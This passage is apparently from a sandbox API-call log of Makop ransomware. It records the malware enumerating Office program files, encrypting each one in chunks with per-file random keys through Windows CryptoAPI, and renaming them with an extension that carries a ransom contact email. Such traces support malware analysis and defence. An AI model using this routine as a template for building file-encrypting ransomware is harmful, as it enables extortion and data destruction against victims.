shared\\office14\\1033\\acewstr.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.769] CloseHandle (hObject=0x114) returned 1 [0086.769] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0086.769] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0086.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0086.770] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x6576038 | out: lpFileSize=0x6576038*=1680383) returned 1 [0086.770] GetProcessHeap () returned 0x48a0000 [0086.770] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.771] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.771] WriteFile (in: hFile=0x114, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576024*=0x1, lpOverlapped=0x0) returned 1 [0086.775] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0086.775] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.775] GetProcessHeap () returned 0x48a0000 [0086.775] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0086.775] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576008*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576008*=0x30) returned 1 [0086.775] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.775] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576024*=0x30, lpOverlapped=0x0) returned 1 [0086.776] WriteFile (in: hFile=0x114, lpBuffer=0x657602c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x657602c*, lpNumberOfBytesWritten=0x6576024*=0x4, lpOverlapped=0x0) returned 1 [0086.776] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576024*=0x10, lpOverlapped=0x0) returned 1 [0086.776] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576024*=0x80, lpOverlapped=0x0) returned 1 [0086.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0086.776] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576024*=0x8, lpOverlapped=0x0) returned 1 [0086.776] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0086.776] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0086.777] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0086.789] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0086.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.792] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0086.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.794] WriteFile (in: hFile=0x114, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0086.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0086.794] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0086.805] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0086.808] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.808] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0086.810] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.810] WriteFile (in: hFile=0x114, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0086.810] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a400, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0086.810] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0086.819] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0086.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.822] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0086.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.824] WriteFile (in: hFile=0x114, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0086.824] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.825] SetEndOfFile (hFile=0x114) returned 1 [0086.834] GetProcessHeap () returned 0x48a0000 [0086.834] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0086.834] GetProcessHeap () returned 0x48a0000 [0086.834] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.834] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0086.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.836] CloseHandle (hObject=0x114) returned 1 [0086.836] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0086.836] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0086.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0086.837] GetProcessHeap () returned 0x48a0000 [0086.837] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.837] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.837] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0086.837] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.837] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.837] GetProcessHeap () returned 0x48a0000 [0086.837] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0086.838] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0086.838] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.838] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0086.854] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0086.854] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0086.854] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0086.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0086.855] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0086.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.855] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.855] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.855] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x25b50, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x25b50, lpOverlapped=0x0) returned 1 [0086.859] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x25b50, dwBufLen=0x25b50 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x25b50) returned 1 [0086.861] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.861] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x25b50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x25b50, lpOverlapped=0x0) returned 1 [0086.862] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x25c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.862] SetEndOfFile (hFile=0x114) returned 1 [0086.872] GetProcessHeap () returned 0x48a0000 [0086.872] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0086.872] GetProcessHeap () returned 0x48a0000 [0086.872] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.872] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0086.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.874] CloseHandle (hObject=0x114) returned 1 [0086.875] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0086.875] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0086.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0086.876] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x6576038 | out: lpFileSize=0x6576038*=2528128) returned 1 [0086.876] GetProcessHeap () returned 0x48a0000 [0086.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.876] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0086.876] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.876] GetProcessHeap () returned 0x48a0000 [0086.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0086.876] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576008*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576008*=0x40) returned 1 [0086.876] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.877] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576024*=0x40, lpOverlapped=0x0) returned 1 [0086.882] WriteFile (in: hFile=0x114, lpBuffer=0x657602c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x657602c*, lpNumberOfBytesWritten=0x6576024*=0x4, lpOverlapped=0x0) returned 1 [0086.882] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576024*=0x10, lpOverlapped=0x0) returned 1 [0086.882] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576024*=0x80, lpOverlapped=0x0) returned 1 [0086.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0086.882] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576024*=0x8, lpOverlapped=0x0) returned 1 [0086.882] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0086.883] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0086.883] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0086.896] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0086.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.899] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0086.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x269454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.901] WriteFile (in: hFile=0x114, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0086.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0086.901] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0086.929] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0086.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.932] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0086.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x269454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.937] WriteFile (in: hFile=0x114, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0086.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0086.937] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0086.953] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0086.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.956] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0086.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x269454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.958] WriteFile (in: hFile=0x114, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0086.959] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x269454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.959] SetEndOfFile (hFile=0x114) returned 1 [0086.968] GetProcessHeap () returned 0x48a0000 [0086.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0086.968] GetProcessHeap () returned 0x48a0000 [0086.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.968] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 